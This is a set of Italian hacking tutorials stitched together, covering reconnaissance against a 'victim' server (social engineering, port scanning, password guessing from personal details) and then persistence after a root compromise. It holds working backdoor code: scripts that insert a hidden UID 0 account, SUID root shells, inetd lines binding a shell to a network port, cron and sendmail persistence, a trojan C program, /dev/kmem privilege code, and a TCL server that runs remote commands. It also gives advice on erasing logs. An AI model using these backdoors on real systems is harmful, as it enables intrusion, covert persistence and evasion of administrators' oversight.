Molti programmi accettano solo indirizzo di tipo numerico (es. 123.456.789).
Quindi segnatevi l'Ip e andiamo avanti.

Cosa dobbiamo trovare adesso ? Il tipo di sistema operativo. Per fare questo ci sono molti metodi. Il più comodo è il social engeering. Scrivete una mail (non dal vostro indirizzo di casa, ma da un email free o meglio ancora da un mail non vostra [chi ha orecchie per intendere..]) all'amministratore del sito (in genere webmaster@server.it) dicendogli che vorreste creare un sito

web e dato che il suo vi è parso molto bello e che vi sembra che ci sia un grande grado di interattività con l'utente (fate i lecchini) e vi piacerebbe sapere cosa ha usato per creare un sito così e SU QUALE SISTEMA OPERATIVO gira.
Ora, un admin con le palle e serio vi direbbe che non può darvi quelle informazioni xchè ne va della sicurezza del sito (giustamente) o addirittura non vi risponderebbe proprio.
Allora cosa facciamo ? Facciamoci un giro sul sito e vediamo se magari c'è una pagina dove è stato scritto che tipo di s.o. (sistema operativo) e quale versione usa il server. Molti webmaster infatti lo mettono per vantarsi di saper usare (o di far credere di saper usare) l'ultima versione di Un*x o NT.
Però vale lo stesso discorso di prima. E allora che si fà ?

Una delle armi di ogni aspirante hacker (io sono ancora aspirante newbies :-) è la pazienza e la tenacia. Ci lasceremo scoraggiare da così poco ? Certo che no !!!!
E allora che si fa ?
Semplice, si fa uno scanning delle porte.
Domanda più che legittima: cosa cazzo è uno scanning delle porte ?
Siamo qui per imparare e quindi domandate pure se non sapete il significato di certe parole. Non fatevi problemi.
Fare uno scanning delle porte vuole dire avviare un programma che controlla le porte di un dato indirizzo e guarda quali sono aperte, ci dice quali servizi offrono le varie porte..
Dopo aver fatto il port scan dovrebbe apparirvi una cosa del genere

Port 21 found. Desc='ftp'
Port 23 found. Desc='telnet'
Port 25 found. Desc='smtp'
Port 111 found. Desc='portmap/sunrpc'
Port 79 found. Desc='finger'
Port 512 found. Desc='biff/exec'
Port 513 found. Desc='login/who'
Port 514 found. Desc='shell/syslog'
Port 515 found. Desc='printer'
Port 474 found.
Port 1026 found.
Port 1225 found.
Port 2049 found. Desc='nfs'

La forma potrebbe cambiare a seconda dei vari Port Scan che usate, comunque la forma dovrebbe essere simile a questa.
Non avevamo detto che facendo uno scanning delle porte potevamo capire di che s.o. si trattasse ?
Sì, è vero.
E allora. E allora facciamo un piccolo discorsetto.
I servizi forniti dai due s.o. (un*x e NT) sono diversi. Spiego meglio: se guardate quell'elenco sopra noterete questa riga:
Port 23 found. Desc='telnet'
Cosa vuol dire ? Vuol semplicemente dire che sulla porta 23 risulta attivo Telnet.
Ora, dato che NT non fornisce (in linea di massima) il Telnet direi che ci troviamo davanti a un server Un*x.
Ma non c'è solo telnet. C'è anche finger e sunrpc che ci confermano che non si può trattare che di un un*x (o di un sistema un*x compatibile).
Vogliamo essere ancora più sicuri ? Prendiamo telnet, ci colleghiamo all'Ip del server e dovremmo trovare anche la versione del server.

Ok, ok, abbiamo imparato come capire se un server è Un*x... Ma se (dato che l'Italia è un paese Microsoft dipendente) troviamo invece un Windows NT come facciamo a riconoscerlo ?
La Microsoft nel confenzionare i suoi prodotti non è che pone una gran cura..
Infatti se trovate un server Windows NT scoprirete che la porta 139 è aperta (bug conosciuto ormai da chiunque).

Adesso che abbiamo scoperto tutte le informazioni sul server ci manca una cosa.
Chi di voi ha visto il film "hacker" ? Bel film, abbastanza realistico.. Forse esagerano quando fanno vedere un server come colonne lucenti e gli hacker come luci veloci che scorrono tramite di essi..
Ma quel che ci importa è altro. Avete presente la scena in cui il protagonista (e la sua ragazza) si tuffano nel bidone della spazzatura dell'azienda per trovare documenti e informazioni su di essa ?
Ecco, è quel che dobbiamo fare anche noi. No, non ci dobbiamo gettare nei bidoni per ricavare le informazioni, ma dobbiamo recuperare (in qualsiasi modo) tutte le informazioni su chi ha costruito quel sito e sugli utenti che vi hanno accesso.
Cercate di scoprire nome e cognome di quanti più utenti possibili, i nomi dei figli, della moglie (o della fidanzata), squadra del cuore, giocatore preferito, ecc..
Come potete leggere infatti nel mio txt "Fregare le pass a utenti medio/stupidi", nel 99% dei casi la password usata dagli utenti (e in percentuale minore anche dal webmaster) sono direttamente collegabili al nome, cognome (dell'utente o dei familiari), nome di squadre di calcio, date importanti, ecc..
Spesso se non sono in questi elenchi sono parole comunque comuni.
Infatti come fanno altrimenti a ricordarsi la pass ? Provate anche con oggetti comuni, quali casa, gatto, cane, ecc..
Ricordate però una cosa. Un*x, al contrario di NT, è case sensitive. Quindi ciao, Ciao, CIAO per un*x sono tre parole diverse.

Adesso che abbiamo tutto l'elenco di pass, sappiamo che S.o. usa il server, ecc.. cosa facciamo ?
Semplice. Andate nella sezione guide del Tank Commandos Web Site e leggete tutte le guide che volete.
E dopo che avete studiato per bene potete provare.. Ma prima pensate un attimo..
Pensate ai vostri genitori, ai vostri amici, alla vostra ragazza, al vostro gatto (o cane)..
Volete davvero rischiare di perdere il loro rispetto per un cazzata ? Lo volete davvero ?
Volete finire in qualche bel carcere per i minori a fare pompini ai marocchini ?
Fate come volete, la vita è la vostra, non la mia.

PRIMA DELL'ATTACCO: L'ANALISI DELLA VITTIMA

Prima di iniziare ci tengo a sottolineare che non sono affatto un hacker (x
il momento almeno...:))
e che questo è il primo testo che scrivo..Quindi non è stato scritto x
persone esperte
ma per newbies come me ke voglione imparare le basi dell'hacking!

N.B. gran parte delle informazioni di questo articolo sono tratte dal libro
Hacker! Tecniche di
protezione dei sistemi.

Bene dopo questa breve introduzione iniziamo..

Una delle cose più importanti da fare prima di hackerare un sistema è cercare di raccogliere
più informazioni possibili. Questa fase è spesso sottovaluta dai principianti che il più delle
volte si limitano a fare un semplice portscanning e poi a cercare un exploit che sfrutti un bug
nei programmi che girano nella macchina.
Quando però i sistemi da hackerare sono più complessi e più sicuri, un semplice portscanning non
basta, ma bisogna scoprire tutte le info possibili sul target.

--- Passo 1. Il sito web

Il punto di partenza per la raccolta di informazioni è naturalmente (quando presente!) il sito
internet dell'obbiettivo (per esempio un azienda). Prima di tutto controllate l'estensione della
pagine web. Se è .asp quasi sicuramente si tratta di un sistema WinNT, se invece sono presenti
pagine php o script cgi si tratta di un sistema *nix. Controllate anche il codice sorgente delle
pagine alla ricerca di eventuali commenti inseriti dai webmaster. A volte contengo informazioni
sull'O.S. e sul web server che gira sul server vittima.

--- Passo 2. Indagine sul dominio

Dopo aver settacciato il sito web della vittima, bisogna cercare di recupare più informazioni
possibili sul dominio di questa. Per far questo bisogna interrogare i database InterNIC gestito
da Network Solutions (www.networksolutions.com) e ARIN (www.arin.net). Questi due database
contengo informazioni su tutti i domini internazionali (.com .net .org. .edu) registrati. Per interrogare questi database esistono
diversi metodi, i più importanti sono: attraverso l'interfaccia web o usando dei software specifici.
Se si sceglie il primo metodo basta andare sul loro sito, se invece si vuole usare un software
specifico io consiglio Ws Ping PRoPack che si può trovare su www.ipswitch.com
Le informazioni più importanti che fornisco questi database sono: i dati del registrante
(nome e cognome) e gli indirizzi del DNS usato dalla macchina. Ricordate che questi due
database contengo informazioni solo sui domini internazionali, x gli altri indirizzi nazionali, dovete andare
sul sito web delle aziende che gestisco le registrazioni.

-- Passo 3. Traceroute

Quando avrete scoperto più informazioni possibili sul dominio della vittima
occorre fare un analisi
accurata del percorso che i pacchetti fanno per raggiungere il server della
vittima. Per questo
scopo esistono diversi programmi, per windows è disponibile già un'utility
tracert (per avviarlo
scrivete tracert hostvittima.com su esegui), se invece utilizzate linux è
presente anche qui un utility
simile che potete avviare scrivendo traceroute hostvittima.com da una
shell). Il risultato sarà una
cosa del tipo:

```
  1   109 ms   102 ms   100 ms  Fe0-0-0.NAS-RM-1.tiscali.it [195.130.232.51]
  2   106 ms   109 ms    97 ms  Fe0-0.GW206-RM.tiscali.it [195.130.232.49]
  3   112 ms   110 ms   115 ms  Ser3-1-0.GWS505-RM.tiscali.it
[195.130.235.141]

  4   117 ms   107 ms   108 ms  Ge3-0.GWGSR-MI.tiscali.it [195.130.254.82]
  5   108 ms   110 ms   143 ms  infostrada-mix.mix-it.net [217.29.66.9]
  6   110 ms   112 ms   116 ms  192.94.212.189
  7   114 ms   106 ms   108 ms  192.94.212.125
  8   155 ms   119 ms   125 ms  192.94.212.146
  9   121 ms   119 ms   118 ms  151.5.206.74
 10   127 ms   123 ms   119 ms  151.5.148.82
 11   150 ms   147 ms   149 ms  151.5.149.2
 12   156 ms   150 ms   148 ms  gw15.dada.it [195.110.97.48]
 13   163 ms   160 ms   157 ms  vittima.it [195.110.99.208]
```

Rilevazione completata.

Ogni singolo host (in tutto sono 13) rappresente un Hop cioè un salto che il
paccheto deve fare
prima di arrivare all'ultimo host il 13. Dove possibile tracerout risolve
anche il nome dell'host.
A volte può capitare che un HOP non venga indicato, cioè succede
probabilmente perchè dall'altra
parte c'è un firewall che blocca i pacchetti UDP che usa traceroute. Per
risolvere questo
inconviente si può, solo sotto linux, utilizzare l'opzione -S -p53, in
questo modo si indica a
traceroute di utilizzare la porta 53 (quella dei DNS) per sondare gli HOP.

-- Passo 4. Scansione delle porte

A questo punto dopo aver raccolto ulteriori informazioni con traceroute,
passiamo ad una delle
tecniche più importanti per ottenere informazioni sul computer della
vittima: il port scanning.

Il port scanning consiste nella connessione alle porte TCP e UDP presenti
nel sistema scelto
come obbiettivo per stabilire quali servizi girano. Per fare il port
scanning esistono 2 metodi
principali:
1) connettersi manualmente a ogni porta per sapere se è attiva (lungo e
noioso, sconsigliato)
2) usare un software apposito detto port scanner (consigliato)
In giro per la rete sono presenti centinaia di port scanner quindi non avrete
problemi a trovarne
uno. Io consglio di usare il 7th Sphere Portscan per windows e NMAP per
linux. I port scanner
lavorano utilizzando diverse tecniche di scansione:
1)TCP CONNECT SCAN : ovvero il port scanner si collega alla porta
dell'obbiettivo con una connessione
a tre fasi. E' facilmente intercettabile.
2)TCP SYN SCAN: ovvero il port scanner non esegue una connessione completa
con l'obbiettivo. Più
difficile da rilevare della precedente.
3)TCP FIN SCAN: ovvero il port scanner invia un pacchetto FIN sulla porta.
Funziona solo sui sistemi
UNIX
La più diffusa è la prima tecnica, mentre la secondo è più raffinata e
discreta.
Il risultato di una scansione delle porte è in genere di questo tipo.

```
PORTSCAN READY
SCANNING HOST:vittima.it
SCAN BEGUN ON PORT:1 SCAN HALTED ON PORT:354
21   :CONNECT 220 FTP server (SunOS 5.8) ready.
22   :CONNECT SSH-1.99-OpenSSH_2.3.0p1
25   :CONNECT 220 ESMTP Postfix
80   :CONNECT
111  :CONNECT
```

Come si vede dalla scansione sul sistema vittima è montato un sistema UNIX
(SunOS 5.8) e alcuni
servizi. Avrete quindi capito che una delle informazioni più importanti che
può fornire un
port scanning è il sistema operativo (N.B. non sempre si è così fortunati
;-)

INTRODUZIONE

Uno dei principali problemi connessi all'hacking e' mantenere i privilegi di amministratore in un sistema dopo una eventuale intrusione. In questo articolo descrivero' le piu' comuni procedure per mantenere i privilegi di root in un sistema UNIX, supponendo che siate riusciti ad impadronirvi dei privilegi di amministratore in precedenza.
Innanzitutto le backdoors che descrivero' di seguito sono solo le piu' famose, ma praticamente una volta in possesso della root, su un sistema Unix e' possibile creare un'infinita' di backdoors a seconda della propria fantasia.
Prima di installare una backdoor sul sistema ci sono alcune cose che bisogna sapere:
1.La posizione dei principali file in un sistema UNIX
2.Familiarita' con il formato del file passwd (il formato a 7 campi, i campi
  GECOS, i meccanismi dello shadowing)
3.Familiarita' con editor come vi; non sempre saranno disponibili editor come
  pico o Emacs con un interfaccia user-friendly

Inoltre e' bene considerare che la permanenza di tali backdoors dipendera' anche dalle abilita' tecniche del vero amministratore del sistema. Un amministratore degno di questo nome sara', infatti, a conoscenza di tutte le backdoors qui descritte.

CANCELLARE LE PROPRIE TRACCE

Innanzi tutto e' importante, prima di entrare in un server, essere sicuri a priori che si potranno cancellare le tracce della propria intrusione modificando quindi i file che loggano la vostra presenza sul sistema. Se un amministratore non si accorge di eventuali intrusioni, e' meno probabile che cerchi di trovare backdoors. E' consigliabile anche fare uno di script co

me
marry.c e hide.c che rendono invisibile la propria presenza al sistema. Chi fosse interessato me li puo' richiedere via mail.

BACKDOOR EVIDENTE

La backdoor piu' semplice, ma allo stesso tempo piu' evidente, a cui possiamo pensare consiste nell'aggiungere al passwd un account con UID 0. Comunque fare una cosa del genere sarebbe com dire all'amministratore "Ehi sto attaccando il tuo server!". Se proprio vogliamo installare una backdoor di questo tipo sarebbe opportuno non porre semplicemente questo account all'inizio o alla fine del passwd altrimenti ognuno che esaminasse anche casualmente il passwd lo noterebbe. Il mio consiglio e', quindi, quello di aggiungere questo tipo di account nel mezzo del passwd con questo script:

```
#!/bin/csh
```

```
# Inserisce un account con UID 0 nel mezzo del passwd

set linecount = `wc -l /etc/passwd`
cd
cp /etc/passwd ./temppass
echo  Il passwd file ha $linecount[1] linee.
@ linecount[1] /= 2
@ linecount[1] += 1
echo Sto creando due file, ognuno da $linecount[1] linee .
split -$linecount[1] ./temppass
echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa   #Modificate questa lineaJ
cat ./xab >> ./xaa
mv ./xaa /etc/passwd
chmod 644 /etc/passwd
rm ./xa* ./temppass
echo Fatto...
```

E' ovvio che EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh va modificato a seconda delle vostre esigenze inoltre MAI MAI MAI modificare la passwd di root, le ragioni sono ovvie.

Inoltre in maniera simile e' possibile abilitare uno di quegli account (sync, games) con UID abbastanza alto che di solito sono disabilitati (hanno un * al posto della passwd criptata). In questo caso prendete uno di questi account disabilitati, mettetegli UID 0 e cancellate il "*" dal secondo campo del passwd.

Lasciare una shell nel /tmp

E' anche possibile lasciare una shell con privilegi da root nella directory /tmp

```
#!/bin/sh

cp /bin/csh /tmp/.evilnaughtyshell      # Non chiamatela cosi...
chmod 4755 /tmp/.evilnaughtyshell
```

Comunque molti sistemi hanno dei task nel crontab che fanno pulizia nella directory /tmp ogni notte, altri hanno la directory /tmp montata in modo da non permettere la presenza di shell SUID; e' possibile, avendo la root, disabilitare tutti questi ma qui si ritorna al discorso di prima perche' disabilitare tutte queste impostazioni significa rendere evidente l'attacco. Comunque per evitare sorprese e' bene controllare i file /var/spool/cron/crontabs/root e etc/fstab.

BACKDOOR NASCOSTA

I file principali di configurazione del server non saranno certo il primo
posto dove l'amministratore andra' a cercare backdoors, e quindi, perche' non
metterne una li? Prima alcune informazioni: l'Internet Daemon (/etc/inetd)
ascolta le richieste di connessione su porte TCP o UDP ed apre un programma
appropriatro quando arriva una richiesta di connessione.
Il formato del file /etc/inetd.conf e' semplice:

```
(1)   (2)     (3)     (4)     (5)    (6)              (7)
ftp   stream  tcp     nowait  root   /usr/etc/ftpd    ftpd
talk  dgram   udp     wait    root   /usr/etc/ntalkd ntalkd
```

Il campo (1) contiene il nome del daemon proprio come e' contenuto nell'etc/services.
Questo campo dice all'internet daemon cosa cercare nell'etc/services per
determinare quale porta associare al nome di ogni singolo programma. Il campo
(2) dice all'inetd il daemon che tipo di connessione accetta. Il TCP usa il
socket di tipo stream, mentre l' UDP usa i datagrammi. Il campo (3) e' il
campo che indica il protocollo di trasmissione (TCP o UDP). Il campo (4)
indica se il daemon e' iterativo o concorrente. L'opzione "wait" indica che il
server eseguira' una connessione e fara' attendere tutte le altre. "Nowait"
al contrario, indica che il server accettera' una connessione, inizia un
processo child per gestire la connessione e poi tornera' in modalita' sleep
ad attendere altre connessioni. Il campo (5) indica con quale user (o meglio
con quale UID) il daemon e' mandato in esecuzione. Il campo (6) indica quale
programma eseguire quando una connessione arriva e (7) e' il comando con
relative opzioni relative al programma precedentemente detto. Se il programma
non richiede alcuna interazione dello user, l'inetd lo puo' gestire
internamente. Questo si realizza con un opzione "interno" (-i) nei campi (6)
e (7). Per installare una backdoor basta scegliere un servizio che non e'
usato spesso e sostituite il daemon che usualmente e' addetto a quel servizio
con qualcos'altro. Potreste sostituirlo, ad esempio, con una shell SUID , un
programma che aggiunge un account root nell'etc/passwd....etc..etc..

Esempio:

Aprite il file etc/inetd.conf in un editor disponibile. Trovare la linea:

```
daytime stream  tcp     nowait  root    internal
```

e cambiatela in:

```
daytime stream  tcp     nowait /bin/sh  sh -i.
```

Ora avete bisogno di riavviare l'etc/inetd cosi da fargli leggere di nuovo il
file di configurazione. Dipende da voi come volete fare questo. Potete killare
e riavviare il processo, (kill -9 , /usr/sbin/inetd o usr/etc/inetd) che
pero' INTERROMPERA' tutte le connessioni dall'esterno....quindi sarebbe una
buona idea fare questo non negli orari di punta.

Un alternativa a compromettere un servizio ben conosciuto sarebbe installarne uno nuovo che esegue un programma a vostra scelta. Una soluzione semplice sarebbe immettere una shell che lavora allo stesso modo della backdoor precedentemente descritta. C'e' bisogno pero', che il nome del servizio compaia nell'etc/services come nello /etc/inetd.conf.

Il formato dell' etc/services e' semplice:

```
(1)      (2)/(3)          (4)
smtp      25/tcp          mail
```

Il campo (1) e' il nome del servizio, il campo (2) e' il numero della porta, (3) e' il tipo di protocollo che il servizio aspetta, ed il campo (4) contiene il nome comune associato al servizio. Per esempio, aggiungete questa linea all' etc/services:

```
evil    22/tcp         evil
```

e questa linea al etc/inetd.conf:

```
evil    stream  tcp     nowait  /bin/sh sh -i
```

ed infine riavviate l'inetd come detto sopra.

NB:queste sono backdoors molto potenti...non solo offrono il rientro nel sistema da locale ma da qualsiasi account su qualsiasi computer dell'Internet...;)

BACKDOORS CON IL CRON

Cron e' uno strumento meraviglioso per l'amministrazione del sistema....ma e' anche uno strumento meraviglioso per creare backdoors perche' il crontab del root ha, effettivamente, i privilegi di root; di nuovo a seconda del livello dell'esperienza dell'amministratore di sistema questo tipo di backdoor puo funzionare piu' o meno a lungo.
Il file /var/spool/crontabs/root e' dove si trova la lista dei cron jobs del root di solito. Qui ci sono diverse alternative; ne cito solo un paio, poiche' le backdoors basate sul cron sono limitate soltanto dalla vostra fantasia.
Il cron e' uno strumento che automaticamente esegue comandi ad orari e date prestabilite. Crontab e' il comando da usare per aggiungere, rimuovere o vedere i vari cron jobs. Si puo' sia editare manualmente il file /var/spool/crontab/root che modificarlo con il comando crontab stesso.

Ogni riga del crontab ha sei campi:

```
(1)    (2)    (3)    (4)    (5)    (6)
 0      0      *      *      1      /usr/bin/updatedb
```

I campi da (1) a (6) sono rispettivamente: i minuti (0-59), le ore (0-23), giorno del mese (1-31), mese dell' anno (1-12), giorno della settimana (0-6). Il campo (6) contiene i comandi da eseguire. Lo script dell'esempio di sopra e' eseguito tutti i lunedi. Per sfruttare il crontab basta aggiungere una riga a /var/spool/crontab/root. Per esempio possiamo avere un cron job che viene eseguito ogni giorno e che controlla se nell' /etc/passwd c'e' ancora un account con UID 0 che abbiamo precedentemente aggiunto, altrimrenti aggiungerlo se questo non e' piu' presente. Potrebbe essere una buona idea inserire uno shell script in un cronjob che esiste gia per nascondere ulteriormente la backdoor.

Ad esempio aggiungere la seguente linea a /var/spool/crontab/root

```
    0    0    *    *    *    /usr/bin/trojancode
```

dove trojancode e' il seguente shell script:

```
#!/bin/csh
# C'e' il nostro account nel passwd?

set evilflag = (`grep eviluser /etc/passwd`)


if($#evilflag == 0) then

    set linecount = `wc -l /etc/passwd`
    cd
    cp /etc/passwd ./temppass
    @ linecount[1] /= 2
    @ linecount[1] += 1
    split -$linecount[1] ./temppass
    echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa
    cat ./xab >> ./xaa
    mv ./xaa /etc/passwd
    chmod 644 /etc/passwd
    rm ./xa* ./temppass
    echo Done...
else
endif
```

Possiamo anche fare qualcos'altro con il cron tab. Dobbiamo avere anche un altro password file nascosto da qualche parte (/var/spool7mail/.sneaky potrebbe essere un idea...). In questo passwd ci deve essere un solo account root. Poi mandiamo in esecuzione un cronjob che ogni mattina alle 2.30 salva una copia del vero passwd da qualche parte e installera quello hakkato come

VERO /etc/passwd per un minuto. Ogni utente normale che tentera' di effetuare
il login non potra' entrare nel sistema ma un minuto dopo la situazione sara'
di nuovo sotto controllo. Aggiungete questa riga al crontab del root:

```
29      2      *      *      *      /bin/usr/sneakysneaky_passwd
```

Accertatevi che questo esista:

```
#echo "root::0:0:Operator:/:/bin/csh" > /var/spool/mail/.sneaky
```

e questo e' un semplice shell script:

```
#!/bin/csh
# Installa un passwd hakkato per un minuto

cp /etc/passwd /etc/.temppass
cp /var/spool/mail/.sneaky /etc/passwd
sleep 60
mv /etc/.temppass /etc/passwd
```

A questo punto perche' non servirsi del codice c per rendere meno visibile la
backdoor? Questo di seguito e' un cavallo di troia che crea una shell SUID
root .

```
/* daemon9@netcom.com */

#include

#define KEYWORD "industry3"
#define BUFFERSIZE 10

int main(argc, argv)
int argc;
char *argv[];{

        int i=0;

        if(argv[1]){            /* we've got an argument, is it the keyword? */

                if(!(strcmp(KEYWORD,argv[1]))){

                                /* This is the trojan part. */
                        system("cp /bin/csh /bin/.swp121");
                        system("chown root /bin/.swp121");
                        system("chmod 4755 /bin/.swp121");
                }
        }
                                /* Put your possibly system specific trojan
```

```
                    messages here */
                  /* Let's look like we're doing something... */
        printf("Sychronizing bitmap image records.");
        /* system("ls -alR / >& /dev/null > /dev/null&"); */
        for(;i<10;i++){
                fprintf(stderr,".");
                sleep(1);
        }
        printf("\nDone.\n");
        return(0);
} /* End main */
```

BACKDOOR CON IL SENDMAIL

Il file degli alias del sendmail permette alla posta mandata ad un singolo utente di essere processata di seguito da un programma. Ad esempio aggiungete la linea: decode: |/usr/bin/uudecode al file /etc/aliases

Questo e' il uudecode ;))

uudecode.sh

```
#!/bin/sh
# Crea il nostro file rhosts

echo "+ +" > tmpfile
/usr/bin/uuencode tmpfile /root/.rhosts
```

Dopo basta telnettare alla porta 25 dell'host all'utente decode@host.com e usare come subject la versione "uuencoded" del file .rhosts. Per mettere tutto su una sola linea:

```
  echo "+ +" | /usr/bin/uuencode /root/.rhosts | mail decode@victimserver.com
```

potete essere creativi quanto volete....potete settare un alias che faccia eseguire un programma di vostra scelta...

BACKDOOR INSOSPETTABILE

Oltre a questi metodi qui descritti si puo aggiungere del codice hakkato all'interno di programmi comuni. Questo e' un metodo quasi infallibile che puo' essere notato solo da programmi come tripware. L'idea e' semplice: inserire del codice nel sorgente di programmi comunemente usati alcuni dei programmi piu utili a noi in questi caso sono su, login, passwd perche' gia mandano in esecuzione il SUID a root e non c'e' bisogno di modifiche ai permessi. Una volta che vi siete procurati il sorgente, strutturate la

backdoor in questo modo:

```
....
get input;
if input is special backdoor flag,run backdoor program ;
else if input is valid ,continue;
else quit with error;
....
```

Questo comunque e' solo un estratto di pseudo codice ...solo per dare un idea di come impostare la cosa.

BACKDOOR ESOTERICA

Exploit con il /dev/kmem!!! Poiche' il kernel tiene i suoi parametri in memoria e' possibile modificare la memoria della macchina per cambiare l'UID del vostro processo. Per fare questo c'e' bisogno che comunque il /dev/kmem abbia permesso di lettura/scrittura. In pratica vengono eseguite le seguenti operazioni: Si apre il /dev/kmem, si cerca la vostra page in memoria, si sovrascriva l'UID del vostro processo e in seguito viene aperta una shell csh che ereditera' l'UID del vostro processo. Il segunte programma fa proprio questo.

```
/* If /kmem is is readable and writable, this program will change the user's
UID and GID to 0.  */
/* This code originally appeared in "UNIX security:  A practical tutorial"
with some modifications by daemon9@netcom.com */

#include
#include
#include
#include
#include
#include
#include

#define KEYWORD "nomenclature1"

struct user userpage;
long address(), userlocation;

int main(argc, argv, envp)
int argc;
char *argv[], *envp[];{

        int count, fd;
        long where, lseek();
```

```
	if(argv[1]){		/* we've got an argument, is it the keyword? */
		if(!(strcmp(KEYWORD,argv[1]))){
			fd=(open("/dev/kmem",O_RDWR);

			if(fd<0){
				printf("Cannot read or write to /dev/kmem\n");
				perror(argv);
				exit(10);
			}

			userlocation=address();
			where=(lseek(fd,userlocation,0);

			if(where!=userlocation){
				printf("Cannot seek to user page\n");
				perror(argv);
				exit(20);
			}

			count=read(fd,&userpage,sizeof(struct user));

			if(count!=sizeof(struct user)){
				printf("Cannot read user page\n");
				perror(argv);
				exit(30);
			}

			printf("Current UID: %d\n",userpage.u_ruid);
			printf("Current GID: %d\n",userpage.g_ruid);

			userpage.u_ruid=0;
			userpage.u_rgid=0;

			where=lseek(fd,userlocation,0);

			if(where!=userlocation){
				printf("Cannot seek to user page\n");
				perror(argv);
				exit(40);
			}

			write(fd,&userpage,((char *)&(userpage.u_procp))-((char *)&userpage));

			execle("/bin/csh","/bin/csh","-i",(char *)0, envp);
		}
	}

} /* End main */
```

```
#include
#include
#include

#define LNULL ((LDFILE *)0)

long address(){

        LDFILE *object;
        SYMENT symbol;
        long idx=0;

        object=ldopen("/unix",LNULL);

        if(!object){
                fprintf(stderr,"Cannot open /unix.\n");
                exit(50);
        }

        for(;ldtbread(object,idx,&symbol)==SUCCESS;idx++){
                if(!strcmp("_u",ldgetname(object,&symbol))){
                        fprintf(stdout,"User page is at 0x%8.8x\n",symbol.n_value);
                        ldclose(object);
                        return(symbol.n_value);
                }
        }

        fprintf(stderr,"Cannot read symbol table in /unix.\n");
        exit(60);
}
```

E' necessario, affinche' il codice precedente funzioni, che il /dev/kmem sia scrivibile, e questo non e' quello che succede di solito, dobbiamo occuparcene noi. Il mio conisglio e' quello di scrivere uno shell script che cambi i permessi del /dev/kmem per una discreta quantita' di tempo (diciamo 5 minuti) e poi li cambi di nuovo nella loro configurazione iniziale; potete utilizzare questo script:

```
chmod 666 /dev/kmem
sleep 300
chmod 600 /dev/kmem
```

```
 ----------------------------------------------
| Una idea sulla creazione di una BACKDOOR... |
 ----------------------------------------------
|                    by                     |
|             Michael Bakunin                |
|        <bakunin@maphiasoft.org>            |
 ----------------------------------------------
```

Eccomi di nuovo qui! Sono tornato con una bella idea (o forse molto più di un'idea :)) molto caruccia sull'installazione di una backdoor in un sistema *nix e Linux. Io l'ho provato su LINUX e vi assicuro che funziona! Quindi...

...prima di incominciare vi devo dire questo:

```
 **************************************************************
 ** Tutto quello che scriverò è solo a scopo informativo, quindi  **
*** se fate danni o semplicemente vi sgamano e vi trovare la pula ***
*** sotto casa... è solo un problema vostro. In non centro       ***
 ** assolutamente con l'uso che fate di queste informazioni!      **
 **************************************************************
```

Che cosa vi voglio raccontare oggi? Semplicemente come creare un trojan e come piazzarlo un sistema LINUX in modo che parta all'avvio autonomamente permettentoci di fare sulla macchina della vittima ciò che ci pare e piace!

Io l'ho provato sul PC di un mio amico :) che ha la RH 6.0 e mi sono divertito tanto, tanto! Anzi... tantissimo! Poi lui ha fatto casini e ha reinstallato tutto portandosi alla RH 6.1... Magari rifaccio il giochino!
Probabilmente conoscendolo sta leggendo pure questo articolo (PS: se verrà pubblicato!) quindi... non vi posso (ma soprattutto non GLI!) posso dire il nome.

Io ho scelto il TCL come linguaggio per un semplice fatto: 1 è veloce da scrivere! Si può scrivere direttamente sul computer della vittima :)

Ma saltiamo i convenevoli e passiamo subito alla parte pratica del gioco!

CONOSCENZE INDISPENSABILI:

1 Un minimo di programmazione in TCL/TK
2 Saper conquistare il root in un sistema UNIX

Questo articolo si occupa di 3 cose:

1 CREAZIONE DI UN SERVER

2 CREAZIONE DI UN CLIENT
3 COME METTERE IL SERVER ALL'AVVIO DI LINUX

Fin qui dovremmo esserci!

Premessa:

1
Tutta a programmazione che qui vi mostrerò sarà fatta in TCL. E' "di serie" su tutte le piattaforme linux e in teoria su tutte le piattaforme *NIX. Dico in teoria perchè diciamo che se prendete una distro UNIX degli anni 60... forse non c'è ancora!

2
Non mi preoccupo in questo articolo di come procorarci il "root". Mi preoccupo soltanto della creazione della backdoor.

Inizio:

Noi sappiamo che esistono dozzine di backdoors. Sicuramente il più semplice è un aggiungere un nuovo utente con permessi root, ma fin tanto che voi creiate un nick anonimo, comunque l'amministratore prima o poi se ne accorgerà.

Forse, una più sofisticata è creare un server da piazzare all'interno dell'OS in modo particolarmente anonimo, che parta all'avvio e che ascolti una porta sconosciuta. È possibile accorgersi pure qui della presenza della backdoor... ma forse è più complicato (specie se OP è particolarmente incompetente!).

Facciamo un server particolarmente semplice per iniziare in TCL:

```
------INIZIO---------

#!/usr/bin/tcl

proc ascolta { fd addr port } {
        while { [ gets $fd l ] != -1 } {
        puts "ricevuto: $l"
        }
        flush stdout
}

set s [ socket -server ascolta 9999 ]

vwait name

------FINE-----------
```

Se volete altri esempi... leggete il mio articolo sul confronto tra i socket.
Lì c'è anche una spiegazione generale del funzionamento.

Abbiamo creato un socket "s" che è server e che ascolta alla porta 9999.
Quanto avviene la connessione di un client, parte la procedura "ascolta" che riceve dati e li stampa.

Finqui niente di che!

Incominciamo a modificarlo per bene:

1 CI VA BENE LA PORTA 9999 ? Fate un po' voi...

2 COSA GLI FACCIAMO FARE?
Incominciamo con l'eseguire un comando...

In TCL per fare questo si usa il comando:
EXEC comando opzioni

Quindi diventerebbe:

------INIZIO---------

```
#!/usr/bin/tcl

proc ascolta { fd addr port } {
	while { [ gets $fd l ] != -1 } {
	exec $l &
	}
	flush stdout
}

set s [ socket -server ascolta 9999 ]

vwait name
```

------FINE-----------

Ho aggiunto anche il segno & che avvia il comando in background...
Così possiamo fare più comandi che richiedono tempo!

Possiamo anche dare un saluto iniziale e un messaggio di avvenuto messaggio.
Questo si fa con il comando PUTS
Che diventa:
PUTS $socket "MESSAGGIO"

------INIZIO---------

```
#!/usr/bin/tcl

proc ascolta { fd addr port } {
	puts $fd "$addr:$port you are connected to the 999 port"

	while { [ gets $fd l ] != -1 } {
	exec $l &
	puts $fd "ok"
	}
	flush stdout
}

set s [ socket -server ascolta 9999 ]

vwait name
```

------FINE-----------

Vi chiedete perchè in inglese? Meglio non rischiare! Unix è tutto in inglese.

Cosa succedere fino a qui se montassimo questo socket? Che appena un client si connetterebbe, riceverebbe il messaggio farebbe l'operazioni e poi si chiuderebbe all'istante.

